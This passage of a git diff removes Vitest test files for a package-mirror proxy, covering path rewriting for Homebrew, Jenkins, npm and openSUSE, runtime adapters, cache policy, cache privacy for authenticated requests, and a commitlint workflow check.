||||
expect(result).toBe('/v2/homebrew/core/git/manifests/2.39.0');
|
||||
});
|
||||
|
||||
it('should handle bottle blob paths correctly', () => {
|
||||
const path = '/homebrew/bottles/v2/homebrew/core/git/blobs/sha256:abcd1234';
|
||||
const result = transformPath(path, 'homebrew-bottles');
|
||||
expect(result).toBe('/v2/homebrew/core/git/blobs/sha256:abcd1234');
|
||||
});
|
||||
|
||||
it('should handle bottle catalog paths correctly', () => {
|
||||
const path = '/homebrew/bottles/v2/_catalog';
|
||||
const result = transformPath(path, 'homebrew-bottles');
|
||||
expect(result).toBe('/v2/_catalog');
|
||||
});
|
||||
});
|
||||
|
||||
describe('homebrew platform', () => {
|
||||
it('should handle brew repository paths correctly', () => {
|
||||
const path = '/homebrew/brew.git/info/refs';
|
||||
const result = transformPath(path, 'homebrew');
|
||||
expect(result).toBe('/brew.git/info/refs');
|
||||
});
|
||||
|
||||
it('should handle homebrew-core repository paths correctly', () => {
|
||||
const path = '/homebrew/homebrew-core.git/info/refs';
|
||||
const result = transformPath(path, 'homebrew');
|
||||
expect(result).toBe('/homebrew-core.git/info/refs');
|
||||
});
|
||||
|
||||
it('should handle homebrew-cask repository paths correctly', () => {
|
||||
const path = '/homebrew/homebrew-cask.git/archive/refs/heads/master.tar.gz';
|
||||
const result = transformPath(path, 'homebrew');
|
||||
expect(result).toBe('/homebrew-cask.git/archive/refs/heads/master.tar.gz');
|
||||
});
|
||||
|
||||
it('should handle raw file downloads correctly', () => {
|
||||
const path = '/homebrew/homebrew-core/archive/master.tar.gz';
|
||||
const result = transformPath(path, 'homebrew');
|
||||
expect(result).toBe('/homebrew-core/archive/master.tar.gz');
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,162 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { transformPath } from '../../src/routing/platform-transformers.js';
|
||||
|
||||
describe('Jenkins Plugin Support', () => {
|
||||
describe('Update Center Transformations', () => {
|
||||
it('should redirect default update-center.json to current', () => {
|
||||
const result = transformPath('/jenkins/update-center.json', 'jenkins');
|
||||
expect(result).toBe('/current/update-center.json');
|
||||
});
|
||||
|
||||
it('should redirect update-center.actual.json to current', () => {
|
||||
const result = transformPath('/jenkins/update-center.actual.json', 'jenkins');
|
||||
expect(result).toBe('/current/update-center.actual.json');
|
||||
});
|
||||
|
||||
it('should preserve current paths as-is', () => {
|
||||
const result = transformPath('/jenkins/current/update-center.json', 'jenkins');
|
||||
expect(result).toBe('/current/update-center.json');
|
||||
});
|
||||
|
||||
it('should preserve experimental paths as-is', () => {
|
||||
const result = transformPath('/jenkins/experimental/update-center.json', 'jenkins');
|
||||
expect(result).toBe('/experimental/update-center.json');
|
||||
});
|
||||
|
||||
it('should preserve download paths as-is', () => {
|
||||
const result = transformPath('/jenkins/download/plugins/git/5.2.1/git.hpi', 'jenkins');
|
||||
expect(result).toBe('/download/plugins/git/5.2.1/git.hpi');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Plugin Download Transformations', () => {
|
||||
it('should handle Maven plugin download', () => {
|
||||
const path = '/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi';
|
||||
const result = transformPath(path, 'jenkins');
|
||||
expect(result).toBe('/download/plugins/maven-plugin/3.27/maven-plugin.hpi');
|
||||
});
|
||||
|
||||
it('should handle Git plugin download', () => {
|
||||
const path = '/jenkins/download/plugins/git/5.2.1/git.hpi';
|
||||
const result = transformPath(path, 'jenkins');
|
||||
expect(result).toBe('/download/plugins/git/5.2.1/git.hpi');
|
||||
});
|
||||
|
||||
it('should handle workflow aggregator plugin download', () => {
|
||||
const path =
|
||||
'/jenkins/download/plugins/workflow-aggregator/596.v8c21c963d92d/workflow-aggregator.hpi';
|
||||
const result = transformPath(path, 'jenkins');
|
||||
expect(result).toBe(
|
||||
'/download/plugins/workflow-aggregator/596.v8c21c963d92d/workflow-aggregator.hpi'
|
||||
);
|
||||
});
|
||||
|
||||
it('should handle blueocean plugin download', () => {
|
||||
const path = '/jenkins/download/plugins/blueocean/1.27.8/blueocean.hpi';
|
||||
const result = transformPath(path, 'jenkins');
|
||||
expect(result).toBe('/download/plugins/blueocean/1.27.8/blueocean.hpi');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Special Path Handling', () => {
|
||||
it('should prefix unknown paths with current', () => {
|
||||
const result = transformPath('/jenkins/unknown-path', 'jenkins');
|
||||
expect(result).toBe('/current/unknown-path');
|
||||
});
|
||||
|
||||
it('should handle paths with query parameters', () => {
|
||||
const result = transformPath('/jenkins/update-center.json?version=2.401', 'jenkins');
|
||||
expect(result).toBe('/current/update-center.json?version=2.401');
|
||||
});
|
||||
|
||||
it('should handle deep nested paths', () => {
|
||||
const result = transformPath('/jenkins/some/deep/nested/path', 'jenkins');
|
||||
expect(result).toBe('/current/some/deep/nested/path');
|
||||
});
|
||||
|
||||
it('should handle root path', () => {
|
||||
const result = transformPath('/jenkins/', 'jenkins');
|
||||
expect(result).toBe('/current/');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Real-world Jenkins URLs', () => {
|
||||
const testCases = [
|
||||
{
|
||||
description: 'Jenkins update center',
|
||||
input: '/jenkins/update-center.json',
|
||||
expected: '/current/update-center.json'
|
||||
},
|
||||
{
|
||||
description: 'Jenkins experimental update center',
|
||||
input: '/jenkins/experimental/update-center.json',
|
||||
expected: '/experimental/update-center.json'
|
||||
},
|
||||
{
|
||||
description: 'Git plugin latest',
|
||||
input: '/jenkins/download/plugins/git/5.2.1/git.hpi',
|
||||
expected: '/download/plugins/git/5.2.1/git.hpi'
|
||||
},
|
||||
{
|
||||
description: 'Maven plugin',
|
||||
input: '/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi',
|
||||
expected: '/download/plugins/maven-plugin/3.27/maven-plugin.hpi'
|
||||
},
|
||||
{
|
||||
description: 'Docker workflow plugin',
|
||||
input: '/jenkins/download/plugins/docker-workflow/563.vd5d2e5c4007f/docker-workflow.hpi',
|
||||
expected: '/download/plugins/docker-workflow/563.vd5d2e5c4007f/docker-workflow.hpi'
|
||||
},
|
||||
{
|
||||
description: 'Blue Ocean plugin',
|
||||
input: '/jenkins/download/plugins/blueocean/1.27.8/blueocean.hpi',
|
||||
expected: '/download/plugins/blueocean/1.27.8/blueocean.hpi'
|
||||
}
|
||||
];
|
||||
|
||||
testCases.forEach(({ description, input, expected }) => {
|
||||
it(`should transform ${description} correctly`, () => {
|
||||
const result = transformPath(input, 'jenkins');
|
||||
expect(result).toBe(expected);
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('Version Compatibility', () => {
|
||||
it('should handle various plugin version formats', () => {
|
||||
const versionFormats = [
|
||||
'1.0.0',
|
||||
'2.34.1',
|
||||
'596.v8c21c963d92d',
|
||||
'563.vd5d2e5c4007f',
|
||||
'1.27.8',
|
||||
'3.27'
|
||||
];
|
||||
|
||||
versionFormats.forEach(version => {
|
||||
const path = `/jenkins/download/plugins/test-plugin/${version}/test-plugin.hpi`;
|
||||
const result = transformPath(path, 'jenkins');
|
||||
expect(result).toBe(`/download/plugins/test-plugin/${version}/test-plugin.hpi`);
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle plugin names with special characters', () => {
|
||||
const pluginNames = [
|
||||
'maven-plugin',
|
||||
'workflow-aggregator',
|
||||
'docker-workflow',
|
||||
'ant',
|
||||
'build-timeout',
|
||||
'git',
|
||||
'github',
|
||||
'matrix-auth'
|
||||
];
|
||||
|
||||
pluginNames.forEach(pluginName => {
|
||||
const path = `/jenkins/download/plugins/${pluginName}/1.0.0/${pluginName}.hpi`;
|
||||
const result = transformPath(path, 'jenkins');
|
||||
expect(result).toBe(`/download/plugins/${pluginName}/1.0.0/${pluginName}.hpi`);
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -1,82 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
describe('npm URL Rewriting Fix', () => {
|
||||
it('should correctly rewrite npm registry URLs to preserve package names', () => {
|
||||
const mockOriginalText = JSON.stringify({
|
||||
name: 'npm',
|
||||
versions: {
|
||||
'11.5.1': {
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/npm/-/npm-11.5.1.tgz'
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Simulate the regex replacement that happens in the code
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry.npmjs.org\/([^/]+)/g,
|
||||
'https://xget.xi-xu.me/npm/$1'
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
|
||||
// Verify the URL is correctly rewritten
|
||||
expect(rewrittenData.versions['11.5.1'].dist.tarball).toBe(
|
||||
'https://xget.xi-xu.me/npm/npm/-/npm-11.5.1.tgz'
|
||||
);
|
||||
});
|
||||
|
||||
it('should handle scoped packages correctly', () => {
|
||||
const mockOriginalText = JSON.stringify({
|
||||
name: '@types/node',
|
||||
versions: {
|
||||
'20.0.0': {
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/@types/node/-/node-20.0.0.tgz'
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry.npmjs.org\/([^/]+)/g,
|
||||
'https://xget.xi-xu.me/npm/$1'
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
|
||||
expect(rewrittenData.versions['20.0.0'].dist.tarball).toBe(
|
||||
'https://xget.xi-xu.me/npm/@types/node/-/node-20.0.0.tgz'
|
||||
);
|
||||
});
|
||||
|
||||
it('should handle multiple URLs in the same JSON response', () => {
|
||||
const mockOriginalText = JSON.stringify({
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/package1/-/package1-1.0.0.tgz'
|
||||
},
|
||||
dependencies: {
|
||||
dep: {
|
||||
dist: {
|
||||
tarball: 'https://registry.npmjs.org/dep/-/dep-2.0.0.tgz'
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
const rewrittenText = mockOriginalText.replace(
|
||||
/https:\/\/registry.npmjs.org\/([^/]+)/g,
|
||||
'https://xget.xi-xu.me/npm/$1'
|
||||
);
|
||||
|
||||
const rewrittenData = JSON.parse(rewrittenText);
|
||||
|
||||
expect(rewrittenData.dist.tarball).toBe(
|
||||
'https://xget.xi-xu.me/npm/package1/-/package1-1.0.0.tgz'
|
||||
);
|
||||
expect(rewrittenData.dependencies.dep.dist.tarball).toBe(
|
||||
'https://xget.xi-xu.me/npm/dep/-/dep-2.0.0.tgz'
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -1,62 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import { PLATFORM_CATALOG as PLATFORMS } from '../../src/config/platform-catalog.js';
|
||||
import { transformPath } from '../../src/routing/platform-transformers.js';
|
||||
|
||||
describe('openSUSE Platform Configuration', () => {
|
||||
it('should have openSUSE platform configured', () => {
|
||||
expect(PLATFORMS.opensuse).toBe('https://download.opensuse.org');
|
||||
});
|
||||
|
||||
it('should transform openSUSE paths correctly', () => {
|
||||
const testCases = [
|
||||
{
|
||||
input:
|
||||
'/opensuse/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',
|
||||
expected: '/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',
|
||||
description: 'Leap package file'
|
||||
},
|
||||
{
|
||||
input: '/opensuse/tumbleweed/repo/oss/x86_64/firefox-121.0-1.1.x86_64.rpm',
|
||||
expected: '/tumbleweed/repo/oss/x86_64/firefox-121.0-1.1.x86_64.rpm',
|
||||
description: 'Tumbleweed package file'
|
||||
},
|
||||
{
|
||||
input: '/opensuse/distribution/leap/15.5/repo/oss/repodata/repomd.xml',
|
||||
expected: '/distribution/leap/15.5/repo/oss/repodata/repomd.xml',
|
||||
description: 'repository metadata'
|
||||
},
|
||||
{
|
||||
input:
|
||||
'/opensuse/source/distribution/leap/15.5/repo/oss/src/kernel-default-5.14.21-150500.55.44.1.src.rpm',
|
||||
expected:
|
||||
'/source/distribution/leap/15.5/repo/oss/src/kernel-default-5.14.21-150500.55.44.1.src.rpm',
|
||||
description: 'source package'
|
||||
},
|
||||
{
|
||||
input: '/opensuse/update/leap/15.5/oss/x86_64/systemd-249.17-150400.8.35.1.x86_64.rpm',
|
||||
expected: '/update/leap/15.5/oss/x86_64/systemd-249.17-150400.8.35.1.x86_64.rpm',
|
||||
description: 'update package'
|
||||
}
|
||||
];
|
||||
|
||||
testCases.forEach(({ input, expected, description }) => {
|
||||
const result = transformPath(input, 'opensuse');
|
||||
expect(result, `Failed for ${description}: ${input}`).toBe(expected);
|
||||
});
|
||||
});
|
||||
|
||||
it('should handle root path correctly', () => {
|
||||
const result = transformPath('/opensuse/', 'opensuse');
|
||||
expect(result).toBe('/');
|
||||
});
|
||||
|
||||
it('should handle paths without platform prefix', () => {
|
||||
const result = transformPath(
|
||||
'/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm',
|
||||
'opensuse'
|
||||
);
|
||||
expect(result).toBe(
|
||||
'/distribution/leap/15.5/repo/oss/x86_64/vim-9.0.1572-150500.20.8.1.x86_64.rpm'
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -1,44 +0,0 @@
|
||||
/**
|
||||
* Test setup and global configuration
|
||||
* Simplified version - only essential setup
|
||||
*/
|
||||
|
||||
import { beforeAll } from 'vitest';
|
||||
|
||||
/**
|
||||
* Global setup - runs once before all tests
|
||||
*/
|
||||
beforeAll(async () => {
|
||||
// Verify Cloudflare Workers environment
|
||||
if (typeof globalThis.fetch === 'undefined') {
|
||||
throw new Error('fetch is not available in test environment');
|
||||
}
|
||||
|
||||
// Verify required Web APIs
|
||||
const requiredGlobals = ['Request', 'Response', 'Headers', 'URL', 'URLSearchParams'];
|
||||
|
||||
for (const global of requiredGlobals) {
|
||||
// @ts-ignore - Dynamic global access for testing
|
||||
if (typeof globalThis[global] === 'undefined') {
|
||||
throw new Error(`Required global ${global} is not available`);
|
||||
}
|
||||
}
|
||||
|
||||
// Verify SELF is available for Cloudflare Workers testing
|
||||
try {
|
||||
const { SELF } = await import('cloudflare:test');
|
||||
if (!SELF) {
|
||||
throw new Error('SELF is not available');
|
||||
}
|
||||
} catch {
|
||||
console.warn('Warning: Cloudflare Workers test environment not available');
|
||||
}
|
||||
|
||||
// Setup performance API if not available
|
||||
if (typeof performance === 'undefined') {
|
||||
// @ts-ignore - Partial performance implementation for testing
|
||||
globalThis.performance = {
|
||||
now: () => Date.now()
|
||||
};
|
||||
}
|
||||
});
|
||||
Vendored
-24
@@ -1,24 +0,0 @@
|
||||
/**
|
||||
* Type declarations for cloudflare:test module
|
||||
* Based on @cloudflare/vitest-pool-workers
|
||||
*/
|
||||
|
||||
declare module 'cloudflare:test' {
|
||||
/**
|
||||
* Service binding to the default export defined in the `main` worker
|
||||
*/
|
||||
export const SELF: {
|
||||
fetch(request: RequestInfo, init?: RequestInit): Promise<Response>;
|
||||
fetch(url: string, init?: RequestInit): Promise<Response>;
|
||||
};
|
||||
|
||||
/**
|
||||
* Creates an instance of ExecutionContext for use in tests
|
||||
*/
|
||||
export function createExecutionContext(): ExecutionContext;
|
||||
|
||||
/**
|
||||
* Waits for all ExecutionContext.waitUntil() promises to settle
|
||||
*/
|
||||
export function waitOnExecutionContext(ctx: ExecutionContext): Promise<void>;
|
||||
}
|
||||
@@ -1,131 +0,0 @@
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import apiHandler, { config as vercelConfig } from '../../adapters/functions/api/index.js';
|
||||
import { handler as denoHandler } from '../../adapters/functions/deno.js';
|
||||
import { onRequest } from '../../adapters/pages/functions/[[path]].js';
|
||||
import { createRequestContext } from '../../src/app/request-context.js';
|
||||
import { PLATFORM_CATALOG } from '../../src/config/platform-catalog.js';
|
||||
import { normalizeEffectivePath, resolveTarget } from '../../src/routing/resolve-target.js';
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
/**
|
||||
* Mocks the upstream fetch used by adapter smoke tests.
|
||||
* @returns {ReturnType<typeof vi.spyOn>} Fetch spy.
|
||||
*/
|
||||
function mockUpstreamFetch() {
|
||||
return vi.spyOn(globalThis, 'fetch').mockResolvedValue(
|
||||
new Response('adapter-ok', {
|
||||
status: 200,
|
||||
headers: { 'Content-Type': 'text/plain' }
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
describe('Application structure', () => {
|
||||
it('builds a shared request context for protocol-aware routing', () => {
|
||||
const request = new Request('https://example.com/ip/openai/v1/chat/completions', {
|
||||
method: 'OPTIONS',
|
||||
headers: {
|
||||
Origin: 'https://app.example.com',
|
||||
'Access-Control-Request-Method': 'POST'
|
||||
}
|
||||
});
|
||||
|
||||
const context = createRequestContext(request, {
|
||||
ALLOWED_METHODS: 'GET,HEAD,POST'
|
||||
});
|
||||
|
||||
expect(context.isAI).toBe(true);
|
||||
expect(context.isCorsPreflight).toBe(true);
|
||||
expect(context.config.SECURITY.ALLOWED_METHODS).toContain('POST');
|
||||
});
|
||||
|
||||
it('normalizes Docker host-style paths before resolving upstream targets', () => {
|
||||
const url = new URL('https://example.com/v2/cr/ghcr/xixu-me/xget/manifests/latest');
|
||||
const normalized = normalizeEffectivePath(url, true);
|
||||
|
||||
expect('effectivePath' in normalized).toBe(true);
|
||||
if ('effectivePath' in normalized) {
|
||||
expect(normalized.effectivePath).toBe('/cr/ghcr/v2/xixu-me/xget/manifests/latest');
|
||||
|
||||
const target = resolveTarget(url, normalized.effectivePath, PLATFORM_CATALOG);
|
||||
expect('response' in target).toBe(false);
|
||||
if (!('response' in target)) {
|
||||
expect(target.platform).toBe('cr-ghcr');
|
||||
expect(target.targetUrl).toBe('https://ghcr.io/v2/xixu-me/xget/manifests/latest');
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it('exposes thin runtime adapter entrypoints', () => {
|
||||
expect(typeof apiHandler).toBe('function');
|
||||
expect(typeof denoHandler).toBe('function');
|
||||
expect(typeof onRequest).toBe('function');
|
||||
expect(vercelConfig).toEqual({ runtime: 'edge' });
|
||||
});
|
||||
|
||||
it('delegates Cloudflare Pages requests through the shared handler with env overrides', async () => {
|
||||
const fetchSpy = mockUpstreamFetch();
|
||||
const waitUntil = vi.fn();
|
||||
|
||||
const response = await onRequest({
|
||||
request: new Request('https://pages.example.com/gh/user/repo/pages-file.txt'),
|
||||
env: { CACHE_DURATION: '42' },
|
||||
params: {},
|
||||
waitUntil,
|
||||
next: async () => new Response('next'),
|
||||
data: {}
|
||||
});
|
||||
|
||||
expect(fetchSpy).toHaveBeenCalledWith(
|
||||
'https://github.com/user/repo/pages-file.txt',
|
||||
expect.objectContaining({ method: 'GET' })
|
||||
);
|
||||
expect(await response.text()).toBe('adapter-ok');
|
||||
expect(response.headers.get('Cache-Control')).toContain('s-maxage=42');
|
||||
});
|
||||
|
||||
it('delegates Netlify/Vercel function requests through the shared handler with env overrides', async () => {
|
||||
const fetchSpy = mockUpstreamFetch();
|
||||
|
||||
const response = await apiHandler(
|
||||
new Request('https://functions.example.com/gh/user/repo/functions-file.txt'),
|
||||
{
|
||||
env: { CACHE_DURATION: '43' },
|
||||
geo: {},
|
||||
waitUntil: vi.fn()
|
||||
}
|
||||
);
|
||||
|
||||
expect(fetchSpy).toHaveBeenCalledWith(
|
||||
'https://github.com/user/repo/functions-file.txt',
|
||||
expect.objectContaining({ method: 'GET' })
|
||||
);
|
||||
expect(await response.text()).toBe('adapter-ok');
|
||||
expect(response.headers.get('Cache-Control')).toContain('s-maxage=43');
|
||||
});
|
||||
|
||||
it('delegates Deno requests through the shared handler with env overrides', async () => {
|
||||
const fetchSpy = mockUpstreamFetch();
|
||||
vi.stubGlobal('Deno', {
|
||||
env: {
|
||||
get: vi.fn(name => (name === 'CACHE_DURATION' ? '44' : undefined))
|
||||
}
|
||||
});
|
||||
|
||||
const response = await denoHandler(
|
||||
new Request('https://deno.example.com/gh/user/repo/deno-file.txt')
|
||||
);
|
||||
|
||||
expect(fetchSpy).toHaveBeenCalledWith(
|
||||
'https://github.com/user/repo/deno-file.txt',
|
||||
expect.objectContaining({ method: 'GET' })
|
||||
);
|
||||
expect(await response.text()).toBe('adapter-ok');
|
||||
expect(response.headers.get('Cache-Control')).toContain('s-maxage=44');
|
||||
});
|
||||
});
|
||||
@@ -1,102 +0,0 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import { CONFIG } from '../../src/config/index.js';
|
||||
import {
|
||||
isImmutableArtifactRequest,
|
||||
resolveCachePolicy,
|
||||
resolveResponseCachePolicy
|
||||
} from '../../src/upstream/cache-policy.js';
|
||||
|
||||
const requestContext = {
|
||||
isAI: false,
|
||||
isDocker: false,
|
||||
isGit: false,
|
||||
isGitLFS: false,
|
||||
isHF: false
|
||||
};
|
||||
|
||||
/**
|
||||
* Resolves a cache policy with common non-protocol request defaults.
|
||||
* @param {Partial<Parameters<typeof resolveCachePolicy>[0]>} overrides Policy inputs to override.
|
||||
* @returns {ReturnType<typeof resolveCachePolicy>} Resolved cache policy.
|
||||
*/
|
||||
function resolvePolicy(overrides = {}) {
|
||||
return resolveCachePolicy({
|
||||
canUseCache: true,
|
||||
config: CONFIG,
|
||||
effectivePath: '/gh/user/repo/file.txt',
|
||||
hasSensitiveHeaders: false,
|
||||
platform: 'gh',
|
||||
request: new Request('https://example.com/gh/user/repo/file.txt'),
|
||||
requestContext,
|
||||
targetUrl: 'https://github.com/user/repo/file.txt',
|
||||
...overrides
|
||||
});
|
||||
}
|
||||
|
||||
describe('Cache policy edge coverage', () => {
|
||||
it('uses metadata caching for Maven metadata files', () => {
|
||||
const policy = resolvePolicy({
|
||||
effectivePath: '/maven/maven2/org/example/demo/maven-metadata.xml',
|
||||
platform: 'maven',
|
||||
request: new Request('https://example.com/maven/maven2/org/example/demo/maven-metadata.xml'),
|
||||
targetUrl: 'https://repo1.maven.org/maven2/org/example/demo/maven-metadata.xml'
|
||||
});
|
||||
|
||||
expect(policy.cacheControl).toBe('public, max-age=0, s-maxage=60, must-revalidate');
|
||||
expect(policy.edgeTtl).toBe(60);
|
||||
});
|
||||
|
||||
it('does not treat incomplete or malformed artifact paths as immutable', () => {
|
||||
expect(
|
||||
isImmutableArtifactRequest(
|
||||
'gh',
|
||||
'/gh/user/repo/releases/download/',
|
||||
'https://github.com/user/repo/releases/download/'
|
||||
)
|
||||
).toBe(false);
|
||||
expect(
|
||||
isImmutableArtifactRequest(
|
||||
'pypi-files',
|
||||
'/pypi/files/packages/source/p/pkg/pkg-%E0%A4%A.tar.gz',
|
||||
''
|
||||
)
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it('treats Vary star as uncacheable at response time', () => {
|
||||
const basePolicy = resolvePolicy();
|
||||
const policy = resolveResponseCachePolicy({
|
||||
basePolicy,
|
||||
response: new Response('ok', {
|
||||
headers: {
|
||||
Vary: 'Accept-Encoding, *'
|
||||
}
|
||||
})
|
||||
});
|
||||
|
||||
expect(policy.allowCacheApi).toBe(false);
|
||||
expect(policy.cacheControl).toBe('no-store');
|
||||
});
|
||||
|
||||
it('ignores non-standard header objects that throw during response cache checks', () => {
|
||||
const basePolicy = resolvePolicy();
|
||||
const response = {
|
||||
headers: {
|
||||
get() {
|
||||
throw new Error('header get unavailable');
|
||||
},
|
||||
has() {
|
||||
throw new Error('header has unavailable');
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const policy = resolveResponseCachePolicy({
|
||||
basePolicy,
|
||||
response: /** @type {Response} */ (/** @type {unknown} */ (response))
|
||||
});
|
||||
|
||||
expect(policy).toBe(basePolicy);
|
||||
});
|
||||
});
|
||||
@@ -1,140 +0,0 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import worker from '../../src/index.js';
|
||||
|
||||
describe('Cache Privacy', () => {
|
||||
/** @type {{ match: ReturnType<typeof vi.fn>, put: ReturnType<typeof vi.fn> }} */
|
||||
let cacheDefault;
|
||||
|
||||
/** @type {ReturnType<typeof vi.fn>} */
|
||||
let fetchStub;
|
||||
|
||||
beforeEach(() => {
|
||||
cacheDefault = {
|
||||
match: vi.fn(async () => null),
|
||||
put: vi.fn(async () => undefined)
|
||||
};
|
||||
|
||||
vi.stubGlobal('caches', { default: cacheDefault });
|
||||
|
||||
fetchStub = vi.fn(async () => {
|
||||
return new Response('ok', {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain'
|
||||
}
|
||||
});
|
||||
});
|
||||
vi.stubGlobal('fetch', fetchStub);
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
vi.unstubAllGlobals();
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
it('should not use Cache API for requests with Authorization', async () => {
|
||||
const request = new Request('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
Authorization: 'Bearer test-token'
|
||||
}
|
||||
});
|
||||
|
||||
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
|
||||
const response = await worker.fetch(request, {}, ctx);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(cacheDefault.match).not.toHaveBeenCalled();
|
||||
expect(cacheDefault.put).not.toHaveBeenCalled();
|
||||
expect(fetchStub).toHaveBeenCalled();
|
||||
expect(fetchStub.mock.calls[0][1]?.cf).toBeUndefined();
|
||||
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
|
||||
});
|
||||
|
||||
it('should not enable Cloudflare fetch caching for requests with Cookie', async () => {
|
||||
const request = new Request('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'GET',
|
||||
headers: {
|
||||
Cookie: 'session=secret'
|
||||
}
|
||||
});
|
||||
|
||||
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
|
||||
const response = await worker.fetch(request, {}, ctx);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(cacheDefault.match).not.toHaveBeenCalled();
|
||||
expect(cacheDefault.put).not.toHaveBeenCalled();
|
||||
expect(fetchStub).toHaveBeenCalled();
|
||||
expect(fetchStub.mock.calls[0][1]?.cf).toBeUndefined();
|
||||
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
|
||||
});
|
||||
|
||||
it('should use Cache API for non-authenticated GET requests', async () => {
|
||||
const request = new Request('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'GET'
|
||||
});
|
||||
|
||||
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
|
||||
const response = await worker.fetch(request, {}, ctx);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(cacheDefault.match).toHaveBeenCalled();
|
||||
expect(fetchStub).toHaveBeenCalled();
|
||||
expect(response.headers.get('Cache-Control') || '').toContain('public');
|
||||
});
|
||||
|
||||
it('should not cache upstream responses with Set-Cookie', async () => {
|
||||
fetchStub.mockResolvedValueOnce(
|
||||
new Response('private data', {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Content-Type': 'text/plain',
|
||||
'Set-Cookie': 'session=upstream-secret'
|
||||
}
|
||||
})
|
||||
);
|
||||
|
||||
const request = new Request('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'GET'
|
||||
});
|
||||
|
||||
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
|
||||
const response = await worker.fetch(request, {}, ctx);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(cacheDefault.put).not.toHaveBeenCalled();
|
||||
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
|
||||
});
|
||||
|
||||
it.each([
|
||||
['private', 'private, max-age=60', 'private, no-store'],
|
||||
['no-store', 'public, no-store, max-age=60', 'no-store'],
|
||||
['no-cache', 'public, no-cache, max-age=60', 'no-store']
|
||||
])(
|
||||
'should not publish-cache upstream %s responses',
|
||||
async (_name, upstreamCacheControl, expected) => {
|
||||
fetchStub.mockResolvedValueOnce(
|
||||
new Response('uncacheable data', {
|
||||
status: 200,
|
||||
headers: {
|
||||
'Cache-Control': upstreamCacheControl,
|
||||
'Content-Type': 'text/plain'
|
||||
}
|
||||
})
|
||||
);
|
||||
|
||||
const request = new Request('https://example.com/gh/test/repo/file.txt', {
|
||||
method: 'GET'
|
||||
});
|
||||
|
||||
const ctx = { waitUntil: () => {}, passThroughOnException: () => {} };
|
||||
const response = await worker.fetch(request, {}, ctx);
|
||||
|
||||
expect(response.status).toBe(200);
|
||||
expect(cacheDefault.put).not.toHaveBeenCalled();
|
||||
expect(response.headers.get('Cache-Control')).toBe(expected);
|
||||
}
|
||||
);
|
||||
});
|
||||
@@ -1,17 +0,0 @@
|
||||
// @vitest-environment node
|
||||
|
||||
import { readFileSync } from 'node:fs';
|
||||
import { fileURLToPath } from 'node:url';
|
||||
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
const workflowPath = fileURLToPath(
|
||||
new URL('../../.github/workflows/commitlint.yml', import.meta.url)
|
||||
).replace(/^\/([A-Za-z]:[\\/])/, '$1');
|
||||
const workflow = readFileSync(workflowPath, 'utf8');
|
||||
|
||||
describe('commitlint workflow', () => {
|
||||
it('skips validation for Dependabot PR branches', () => {
|
||||
expect(workflow).toContain("!startsWith(github.head_ref, 'dependabot/')");
|
||||
});
|
||||
});
|
||||
@@ -1,138 +0,0 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||
|
||||
import worker from '../../src/index.js';
|
||||
|
||||
/** @type {ExecutionContext} */
|
||||
const executionContext = {
